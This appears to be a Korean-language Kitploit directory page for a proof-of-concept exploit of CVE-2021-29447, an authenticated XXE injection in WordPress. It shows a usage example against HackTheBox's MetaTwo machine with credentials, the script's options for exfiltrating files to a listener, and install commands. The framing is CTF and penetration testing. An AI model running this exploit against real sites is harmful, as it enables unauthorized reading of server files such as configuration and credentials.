Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-29447 — CVE-2021-29447 - 인증된 XXE 주입 - WordPress < 5.7.1 & PHP > 8 | Kitploit
도구/GitHubGitHub/viardant/cve-2021-29447
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringCTFPenetration Testing
GitHubviardant/cve-2021-29447

CVE-2021-29447

CVE-2021-29447 - 인증된 XXE 주입 - WordPress < 5.7.1 & PHP > 8

저장소 보기
23년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-29447

WordPress 5.6-5.7 (PHP 8+) 인증 XXE 주입을 악용하기 위한 PoC. 이 CVE에 대한 자세한 내용은 여기에서 확인하세요.

예시

HackTheBox의 MetaTwo 머신(XXE 주입에 취약한 미디어 라이브러리를 가진 WordPress 웹사이트)에 대한 사용 예시.

root@kitploit:~
python lfi.py -u manager -p partylikearockstar -t metapress.htb -lh 10.10.XX.XX -lp 8081 -w file_wordlist

asciicast

사용법

root@kitploit:~
usage: lfi.py [-h] -u USERNAME -p PASSWORD -t TARGET -lh LHOST [-lp LPORT] [-w WORDLIST] [-i] [-v] [-s]
              [filenames ...]

positional arguments:
  filenames             가져올 파일 이름

options:
  -h, --help            도움말 메시지를 표시하고 종료
  -u USERNAME, --username USERNAME
                        인증된 업로드에 사용할 사용자 이름
  -p PASSWORD, --password PASSWORD
                        인증된 업로드에 사용할 비밀번호
  -t TARGET, --target TARGET
                        대상 원격 호스트 (예: "metapress.htb")
  -lh LHOST, --host LHOST
                        서버가 바인딩된 호스트 이름 (기본값 "")
  -lp LPORT, --port LPORT
                        수신 포트 (기본값 "8080")
  -w WORDLIST, --wordlist WORDLIST
                        가져올 파일 이름들의 단어 목록
  -i, --interactive     대화형 모드로 실행
  -v, --verbose         상세 모드 활성화
  -s, --skip            PHP 서버 실행 건너뛰기 (반드시 이미 실행 중인지 확인하세요!)

설치

php가 설치되어 있는지 확인하세요.

root@kitploit:~
git clone https://github.com/viardant/CVE-2021-29447
cd CVE-2021-29447
pip install -r requirements.txt
도구 다운로드